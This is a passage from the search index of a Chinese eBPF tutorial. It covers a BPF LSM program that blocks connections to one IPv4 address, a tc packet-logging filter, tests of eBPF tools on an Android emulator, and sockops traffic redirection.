从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"118","title":"背景"},"119":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"119","title":"LSM 概述"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程源代码，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"120","title":"确认 BPF LSM 是否可用"},"121":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"121","title":"编写 eBPF 程序"},"122":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"122","title":"编译运行"},"123":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"123","title":"总结"},"124":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"124","title":"参考"},"125":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"125","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"126":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"126","title":"背景"},"127":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"127","title":"tc 概述"},"128":{"body":"#include <vmlinux.h>\n#include <bpf/bpf_endian.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"128","title":"编写 eBPF 程序"},"129":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"129","title":"编译运行"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程二：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程二：Hello World，基本框架和开发流程"},"130":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"130","title":"总结"},"131":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"131","title":"参考"},"132":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"132","title":"在 Andorid 上使用 eBPF 程序"},"133":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"133","title":"背景"},"134":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"134","title":"测试环境"},"135":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"135","title":"环境搭建"},"136":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"136","title":"工具构建"},"137":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"137","title":"结果"},"138":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"138","title":"成功案例"},"139":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"139","title":"一些可能的报错原因"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"140","title":"总结"},"141":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"141","title":"参考"},"142":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"142","title":"http"},"143":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"143","title":"eBPF sockops 示例"},"144":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"144","title":"利用 eBPF 的 sockops 进行性能优化"},"145":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"145","title":"运行样例"},"146":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"146","title":"编译 eBPF 程序"},"147":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"147","title":"加载 eBPF 程序"},"148":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"148","title":"运行 iperf3 服务器"},"149":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"149","title":"运行 iperf3 客户端"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。当您选择了合适的开发框架后，如 BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以 BCC 工具为例，我们将介绍 eBPF 程序的基本开发流程： 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 